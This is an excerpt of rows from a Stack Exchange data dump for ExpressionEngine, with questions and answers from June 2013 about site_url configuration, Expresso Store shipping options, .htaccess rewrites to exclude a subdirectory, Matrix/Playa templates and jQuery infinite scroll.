  <row Id="11444" PostTypeId="2" ParentId="11439" CreationDate="2013-06-24T00:33:04.323" Score="1" Body="&lt;p&gt;I've seen multi-language site implementations that deal with similar issues since you essentially want something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/en/&#xA;http://mysite.com/fr/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And depending on the URL, you want {site_url} to return the language code segment as well as the domain (&lt;code&gt;http://mysite.com/en/&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a pretty good write-up of how to accomplish this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cwcrawley.co.uk/2010/01/multi-lingual-websites-in-expressionengine/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://cwcrawley.co.uk/2010/01/multi-lingual-websites-in-expressionengine/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you create separate directories for the first segment with copies of your index.php files in them.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/en&#xA;  /index.php&#xA;/fr&#xA;  /index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you modify each index.php file change the site_url global variables.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['site_url'] = 'http://mysite.com/fr';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a nice slide presentation on the same technique: &lt;a href=&quot;http://www.slideshare.net/vinnyio/multilanguage-websites-in-expressionengine&quot; rel=&quot;nofollow noreferrer&quot;&gt;Multi-Language Websites in ExpressionEngine&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if you are using something like Focus Lab's Master Config, or EE-Garage's Config Boostrap, you can possibly override the {site_url} with some PHP conditionals. I haven't tried this technique before personally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a similar question about doing this: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/8850/set-site-url-config-variable-in-index-php&quot;&gt;Set “site_url” Config Variable in index.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-06-24T00:33:04.323" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11445" PostTypeId="2" ParentId="11439" CreationDate="2013-06-24T01:46:45.673" Score="0" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;confi-&amp;gt;config['site_url'] = &quot;New Site URL&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-06-24T01:46:45.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11446" PostTypeId="1" CreationDate="2013-06-24T11:37:22.943" Score="0" ViewCount="186" Body="&lt;p&gt;Is it just me or is it very difficult to just pick this add-on up and get it working. I've been trying to follow the documentation on the site for a couple of hours now and I still can't get my first map to display. What I feel is missing from the docs is a simple &quot;How-to&quot; on setting up. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for the mini-rage but I've wasted a lot of time reading docs that just seem to get straight into using the tags but no intro or walkthrough for what you need to set up in your channel to get it working. &lt;/p&gt;&#xA;" OwnerUserId="628" LastActivityDate="2013-06-24T14:23:46.103" Title="Google Maps for Expression Engine" Tags="|google-maps-for-ee|google-maps|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11447" PostTypeId="2" ParentId="11446" CreationDate="2013-06-24T13:48:34.023" Score="2" Body="&lt;p&gt;I agree that Justin's docs make some assumptions and lack a proper &quot;here's how to get started&quot; explainer - but that's partially because his add-ons are all very powerful and can be used in so many different ways. His &lt;a href=&quot;https://objectivehtml.com/google-maps/examples&quot; rel=&quot;nofollow&quot;&gt;examples section&lt;/a&gt; is the best place to start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's how to get going in the most common circumstance (you want to plot a marker on a map in your entry).&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a map field to your channel using the Google Maps fieldtype.&lt;/li&gt;&#xA;&lt;li&gt;Create an entry where you plot one or more markers on the map.&lt;/li&gt;&#xA;&lt;li&gt;Use the following code in your template.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gmap:init id=&quot;my_map&quot; style=&quot;width:400px;height:300px&quot;}&#xA;{exp:channel:entries channel=&quot;my_channel&quot;}&#xA;    {my_map_field id=&quot;my_map&quot;}          &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-24T13:48:34.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11448" PostTypeId="2" ParentId="11446" CreationDate="2013-06-24T14:23:46.103" Score="3" Body="&lt;p&gt;Sorry for the frustration. I put a lot of time into making things work properly, but it's sometimes hard to perceive parts of the documentation that are confusing for others (since it all makes sense to me). Appreciate the honest feedback and will definitely add a &quot;Getting Starting&quot; guide to the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Derek's post is good too, so be sure to follow all those steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I definitely want you to be satisfied and confident in Objective HTML products. If you have any other questions or complaints please don't hesitate to email &lt;a href=&quot;http://support@objectivehtml.com&quot; rel=&quot;nofollow&quot;&gt;support@objectivehtml.com&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-06-24T14:23:46.103" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11449" PostTypeId="1" CreationDate="2013-06-24T14:56:23.320" Score="3" ViewCount="85" Body="&lt;p&gt;is there a maximum number of members for EE?&#xA;I'm debating using EE to create a membership website for a yearly program.  Each year 500 member accounts would be created.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2013-06-30T11:03:22.900" Title="is there a maximum number of members for EE?" Tags="|members|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11450" PostTypeId="2" ParentId="11449" CreationDate="2013-06-24T15:05:44.817" Score="1" Body="&lt;p&gt;No, there is no maximum number of members in EE.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-06-24T15:05:44.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11452" PostTypeId="1" CreationDate="2013-06-24T15:36:02.403" Score="2" ViewCount="210" Body="&lt;p&gt;We run a store that has 50/50 Domestic &amp;amp; International orders daily. I am trying to set up some shipping methods using the USPS Shipping Method &amp;amp; can not see a way to restrict these shipping methods to international countries only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Heres an example:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create new shipping method called 'USPS International Small Flat&#xA;Rate Box'  &lt;/li&gt;&#xA;&lt;li&gt;Service: Priority &lt;/li&gt;&#xA;&lt;li&gt;Mail Type: Package Service &lt;/li&gt;&#xA;&lt;li&gt;Container: Small Flat Rate Envelope (no small flat rate box avail)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;There's a few issues with this. The biggest being no country designation so the method will apply to all countries. The 2nd being only some USPS methods are avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The shortcoming I believe I am finding is that the USPS module can only be used for US shipments. All international shipments will need to be created with the 'default shipping module' &amp;amp; using respective rules. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This certainly creates a ton more work as there's no way to set up one rule for all international countries. Basically we ship to over 50 countries. Each country would need a separate rule set up for each international shipping service. Typically this is 'USPS Priority International' , 'USPS Express International', 'USPS First-Class Package International' &amp;amp; 'USPS Small Flat Rate Box' - This would be 200 shipping methods needed to be created manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one area where I believe Brilliant Retail handles brilliantly with its 'Shipping Calculator'. Am I missing something or is this a huge short coming with store shipping? &lt;/p&gt;&#xA;" OwnerUserId="1420" LastEditorUserId="197" LastEditDate="2013-11-02T20:31:37.700" LastActivityDate="2013-11-02T20:31:37.700" Title="Expresso Store USPS shipping method for international orders" Tags="|expresso-store|shipping|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11453" PostTypeId="1" AcceptedAnswerId="11461" CreationDate="2013-06-24T16:12:08.713" Score="0" ViewCount="505" Body="&lt;p&gt;I have another application running in a directory called &quot;calculator&quot; and I can't seem to get EE to ignore it.  When I point to the url /calculator I get a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this in my htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;&#xA;RewriteCond %{REQUEST_URI} !calculator/&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried changing these two lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !calculator/&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 !\.(gif|jpe?g|png|calculator)$ [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on what I'm missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I double checked to make sure I don't have any url's &quot;calculator&quot; as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT/Added:&lt;/strong&gt;&lt;br&gt;&#xA;- .htaccess in /calculator directory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymLinks&#xA;IndexIgnore */*&#xA;RewriteEngine on&#xA;&#xA;# if a directory or a file exists, use it directly&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;&#xA;# otherwise forward it to index.php&#xA;RewriteBase /&#xA;RewriteRule ^(.*)\?*$ index.php/$1 [L,QSA]&#xA;&#xA;# Force the latest IE version, in various cases when it may fall back to IE7 mode &#xA;# github.com/rails/rails/commit/123eb25&#xA;# commitcomment-118920 &#xA;# Use ChromeFrame if it's installed for a better experience for the poor IE folk &#xA;&amp;lt;IfModule mod_setenvif.c&amp;gt; &#xA;  &amp;lt;IfModule mod_headers.c&amp;gt; &#xA;     BrowserMatch MSIE ie &#xA;     Header set X-UA-Compatible &quot;IE=Edge,chrome=1&quot; env=ie &#xA;  &amp;lt;/IfModule&amp;gt; &#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="276" LastEditorUserId="276" LastEditDate="2013-06-25T15:47:07.937" LastActivityDate="2013-06-26T09:37:07.967" Title="How to set EE to ignore a directory running a different application" Tags="|htaccess|subdomain|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11454" PostTypeId="1" CreationDate="2013-06-24T17:09:02.443" Score="1" ViewCount="409" Body="&lt;p&gt;Have been looking through the previous solutions in here but still not able to make this work. I am able to display the normal data ok however not the Playa data, it is blank. Any help would be great if possible.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;{exp:channel:entries channel=&quot;statistics&quot; dynamic=&quot;off&quot; limit=&quot;1&quot; url_title=&quot;{segment_3}&quot;}&#xA;    {title} {!-- Page title --}&#xA;&#xA;    {exp:channel:entries channel=&quot;statistics&quot;}&#xA;&#xA;        {stats_driver_points_table} &#xA;&#xA;            {stats_driver} {!-- Matrix field name with playa inside --}&#xA;                {title}  {!-- Playa title, display blank --}&#xA;            {/stats_driver}&#xA;            {stats_r1_q}  {!-- Displays ok --}&#xA;            {stats_r1_q}  {!-- Displays ok --}&#xA;            {stats_season_total}  {!-- Displays ok --}&#xA;&#xA;        {/stats_driver_points_table}&#xA;&#xA;    {/exp:channel:entries}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/pre&gt;&#xA;" OwnerUserId="1697" LastActivityDate="2013-06-26T11:40:47.873" Title="Display Playa inside Matrix" Tags="|matrix|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11455" PostTypeId="2" ParentId="11454" CreationDate="2013-06-24T17:29:19.020" Score="0" Body="&lt;p&gt;I'm guessing your inner channel entries tag is an embed? I made a couple of changes to your example that may help. Also, try adding prefixes to the matrix field and the playa cell: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    channel=&quot;statistics&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    limit=&quot;1&quot; &#xA;    url_title=&quot;{segment_3}&quot;&#xA;}&#xA;    {title}&#xA;&#xA;    {!-- EMBED --}&#xA;    {exp:channel:entries &#xA;        channel=&quot;statistics&quot;&#xA;        dynamic=&quot;no&quot;&#xA;    }&#xA;&#xA;        {stats_driver_points_table var_prefix=&quot;mx&quot;} {!-- Matrix field --}&#xA;&#xA;            {mx:stats_driver var_prefix=&quot;pl&quot;} {!-- Playa column --}&#xA;                {pl:title}&#xA;            {/mx:stats_driver}&#xA;&#xA;            {mx:stats_r1_q}&#xA;            {mx:stats_r1_q}&#xA;            {mx:stats_season_total}&#xA;        {/stats_driver_points_table}&#xA;&#xA;    {/exp:channel:entries}&#xA;    {!-- END EMBED --}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-06-24T17:29:19.020" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11456" PostTypeId="1" AcceptedAnswerId="11483" CreationDate="2013-06-24T17:46:05.650" Score="0" ViewCount="158" Body="&lt;p&gt;Is it possible to hide all other shipping options( only to show international shipping) in expresso store if the country code is not U.S or Canada? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone had experience with this?&lt;/p&gt;&#xA;" OwnerUserId="295" LastActivityDate="2014-11-06T16:06:55.670" Title="International Shipping conditional in Exp: Store" Tags="|expresso-store|ecommerce|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11458" PostTypeId="1" AcceptedAnswerId="11620" CreationDate="2013-06-24T18:40:57.757" Score="2" ViewCount="205" Body="&lt;p&gt;I have a single entry page with the url_title in segment_3.&#xA;I want to get all the other entries in that category, but also apply a search filter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;academy-items&quot;&#xA;related_categories_mode=&quot;yes&quot;&#xA;search:audience=&quot;Customer-Support&quot;}&#xA;{title}&amp;lt;br&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It looks like search doesn't work in this instance. Is there another way to get this data?&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-07-02T17:32:32.477" Title="Related Categories Mode and search" Tags="|categories|search|related|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11459" PostTypeId="1" CreationDate="2013-06-24T18:58:19.650" Score="1" ViewCount="35" Body="&lt;p&gt;can you set permissions with HooKan Permissions Manager, or does it just display them? I see this plugin is for setting permissions and I didn't know if I needed to get both, &lt;a href=&quot;http://devot-ee.com/add-ons/entry-permissions&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/entry-permissions&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1698" LastActivityDate="2013-08-07T11:02:49.907" Title="can you set permissions with HooKan Permissions Manager" Tags="|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11461" PostTypeId="2" ParentId="11453" CreationDate="2013-06-24T19:43:13.497" Score="2" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;&#xA;RewriteCond %{REQUEST_URI} !(calculator) [NC]&#xA;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Explainations...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_URI} !calculator/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the problem here is that you're not informing it what to ignore by framing in brackets. Also you're specifying the trailing backslash, but that isn't part of the request.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 !\.(gif|jpe?g|png|calculator)$ [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This won't work because it's looking for extensions - note the &lt;code&gt;\.&lt;/code&gt; at the beginning of the condition, you're also terminating it with the $, so nothing after it will be matched (/ or filename in the folder). Instead it should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;RewriteCond $1 !(calculator) [NC]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should have worked...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_FILENAME} !-d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But maybe not if you have a trailing slash (according to this post: &lt;a href=&quot;https://stackoverflow.com/questions/163302/how-do-i-ignore-a-directory-in-mod-rewrite&quot;&gt;https://stackoverflow.com/questions/163302/how-do-i-ignore-a-directory-in-mod-rewrite&lt;/a&gt;), also I doubt it's the complete request (to access that folder), as I expect you're accessing some file under that folder which may be why the condition isn't matching?!?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue raised isn't a problem with the ExpressionEngine .htaccess it's the other .htaccess for the calculator application that's causing the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)\?*$ index.php/$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(.*)\?*$ /calculator/index.php/$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The original isn't rewriting within the calculator folder, it's re-writing back to the web root, which contains the EE install.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-06-26T09:37:07.967" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="11462" PostTypeId="1" AcceptedAnswerId="11498" CreationDate="2013-06-24T20:10:43.937" Score="1" ViewCount="1217" Body="&lt;p&gt;I am attempting to use the infinite scroll scripts located here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://iamjustinlong.com/blog/single/implementing_infinite_scroll_in_your_expressionengine_site/&quot; rel=&quot;nofollow&quot;&gt;http://iamjustinlong.com/blog/single/implementing_infinite_scroll_in_your_expressionengine_site/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have followed this pretty much word for word, but it is not working and I am running out of time to get it to work.  Below is my code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SNIPPET:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div class=&quot;col&quot; id=&quot;#blog-container&quot;&amp;gt;&#xA;        {exp:channel:entries&#xA;            channel=&quot;blog&quot;&#xA;            dynamic=&quot;no&quot;&#xA;            orderby=&quot;date&quot;&#xA;            limit=&quot;2&quot;&#xA;            status=&quot;open|tall|regular&quot;&#xA;            paginate_base=&quot;_embed/ajax_scroll&quot;               &#xA;        }&#xA;&#xA;        {if no_results}&#xA;            &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;                &amp;lt;article style=&quot;min-height: 600px;&quot;&amp;gt;&#xA;                    &amp;lt;header&amp;gt;&#xA;                        &amp;lt;h1&amp;gt;No Results&amp;lt;/h1&amp;gt;&#xA;                    &amp;lt;/header&amp;gt;&#xA;                    Check back soon for more blog posts. &#xA;                &amp;lt;/article&amp;gt;&#xA;            &amp;lt;/div&amp;gt; &amp;lt;!-- /.entry --&amp;gt;&#xA;        {/if}&#xA;        &amp;lt;div class=&quot;entry&quot;&amp;gt;&#xA;            &amp;lt;article&amp;gt;&#xA;                &amp;lt;header&amp;gt;&#xA;                    &amp;lt;p class=&quot;meta&quot;&amp;gt;&#xA;                        &amp;lt;span class=&quot;category&quot;&amp;gt;{categories}{category_name}{/categories}&amp;lt;/span&amp;gt; / &amp;lt;span class=&quot;date&quot;&amp;gt;{entry_date format=&quot;%F %d, %Y&quot;}&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/p&amp;gt;&#xA;                    &amp;lt;h1&amp;gt;&amp;lt;a href=&quot;{url_title_path='blog/details'}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;                &amp;lt;/header&amp;gt;&#xA;                &amp;lt;img src=&quot;{blog_image}&quot; alt=&quot;&quot;&amp;gt;&#xA;                {blog_excerpt}&amp;amp;nbsp; &amp;amp;nbsp; &amp;amp;nbsp; &amp;lt;a href=&quot;{url_title_path='blog/details'}&quot; style=&quot;display: inline-block;&quot;&amp;gt;read more&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/article&amp;gt;&#xA;        &amp;lt;/div&amp;gt; &amp;lt;!-- /.entry --&amp;gt;&#xA;&#xA;        {paginate}&#xA;        &amp;lt;p class=&quot;morePosts&quot;&amp;gt;&#xA;            {if next_page}&amp;lt;a href=&quot;{auto_path}&quot; class=&quot;more&quot; id=&quot;next&quot;&amp;gt;See More Posts&amp;lt;/a&amp;gt;{/if}&#xA;        &amp;lt;/p&amp;gt;&#xA;        {/paginate}&#xA;        {/exp:channel:entries}&#xA;    &amp;lt;/div&amp;gt; &amp;lt;!-- /.col --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;BASE CODE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{snip_ajax_scroll}&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;{site_url}assets/js/jquery.infinitescroll.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        $(document).ready(function(){&#xA;            $('#blog-container').infinitescroll({&#xA;                  navSelector : &quot;p.morePosts&quot;,&#xA;                  nextSelector : &quot;a.more&quot;,&#xA;                  itemSelector : &quot;.entry&quot;,&#xA;                  contentSelector: &quot;#blog-container&quot;,&#xA;                  extractLink: true // This is crucial if you want it work properly. Setting this to false or excluding it will not allow the script to work with EE&#xA;             })&#xA;&#xA;        });&#xA;&#xA;&#xA;        // Unbind normal behavior&#xA;        $(window).unbind('.infscr');&#xA;&#xA;        // Bind normal behavior to the click function and prevent the browser from redirecting to the URL.&#xA;        $('a#next').click(function(){&#xA;            $(document).trigger('retrieve.infscr');&#xA;            return false;&#xA;         });&#xA;&#xA;    &amp;lt;/script&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have used console.log at different parts of the js to see if the scripts are firing and I get a message for all the blocks above except for the click function on a#next.  This seems to die. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if there are any other code items you need and thanks in advance for any help!&lt;/p&gt;&#xA;" OwnerUserId="804" LastActivityDate="2013-09-24T04:46:30.333" Title="infinite scroll not triggering" Tags="|jquery|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11464" PostTypeId="1" CreationDate="2013-06-24T21:05:03.007" Score="2" ViewCount="48" Body="&lt;p&gt;I use msm for two sites, and my dir structure is as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Home&gt;site1&gt;docroot&gt;themes&lt;br&gt;&#xA;Home&gt;site2&gt;docroot&gt;themes&lt;br&gt;&#xA;Home&gt;EEcommon&gt;system (EE system folder)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to create a new channel field or edit existing ones on site1, it shows Field Settings, but it doesn't show Field Options.  site2 works properly, no problem at all. I copied themes folder of site2 to site1, but no change, still I cannot see field options on site1. Any idea?&#xA;Cheers,&#xA;Ahmet&lt;/p&gt;&#xA;" OwnerUserId="1637" LastEditorUserId="28" LastEditDate="2013-06-25T19:42:14.693" LastActivityDate="2013-06-25T19:42:14.693" Title="Field Options are not visible (MSM)" Tags="|custom-fields|multi-site-manager|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11465" PostTypeId="2" ParentId="11401" CreationDate="2013-06-25T01:26:53.903" Score="2" Body="&lt;p&gt;It looks as if there's a conflict between the Click Rain Twitter and NSM Twitter modules. I think that they are both trying to use the 'exp_twitter_settings' table for their settings. You could try uninstalling the NSM Twitter module for the moment and then get in contact with both authors to let them know. &lt;/p&gt;&#xA;" OwnerUserId="975" LastActivityDate="2013-06-25T01:26:53.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11466" PostTypeId="2" ParentId="11456" CreationDate="2013-06-25T01:27:37.453" Score="1" Body="&lt;p&gt;You can create a conditional to check the users shipping location and then show options available. Lets assume from the attached image &lt;img src=&quot;https://i.stack.imgur.com/ukfcG.png&quot; alt=&quot;Shipping Methods&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to have 1 for outside of the US, 5 for Australia and the rest for the US. I could template something along the lines of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;shipping_method&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;Select shipping method...&amp;lt;/option&amp;gt;&#xA; {if shipping_country != &quot;us&quot; OR shipping_country != &quot;au&quot;}&#xA; &amp;lt;option value=&quot;1&quot; selected=&quot;selected&quot;&amp;gt;World Shipping&amp;lt;/option&amp;gt;&#xA; {/if}&#xA; {if shipping_country == &quot;us&quot;}&#xA; &amp;lt;option value=&quot;6&quot;&amp;gt;FedEx Priority&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;7&quot;&amp;gt;UPS&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;8&quot;&amp;gt;USPS&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;9&quot;&amp;gt;FedEx Slow&amp;lt;/option&amp;gt;&#xA; &amp;lt;option value=&quot;10&quot;&amp;gt;More USPS&amp;lt;/option&amp;gt;&#xA; {/if}&#xA; {if shipping_country == &quot;au&quot;}&#xA; &amp;lt;option value=&quot;5&quot; selected=&quot;selected&quot;&amp;gt;Australia Post&amp;lt;/option&amp;gt;&#xA; {/if}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is something that is going to be addressed in an upcoming release so help streamline this for developers and being able to pull multiple shipping quotes with a single request.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-06-25T01:27:37.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11467" PostTypeId="2" ParentId="11431" CreationDate="2013-06-25T01:32:05.693" Score="1" Body="&lt;p&gt;You would need to write a conditional as you have mentioned, it would need to be similar to &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/11456/international-shipping-conditional-in-exp-store&quot;&gt;this conditional&lt;/a&gt; but if you only have 2 shipping options you could actually use a hidden field instead of a select element.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-06-25T01:32:05.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
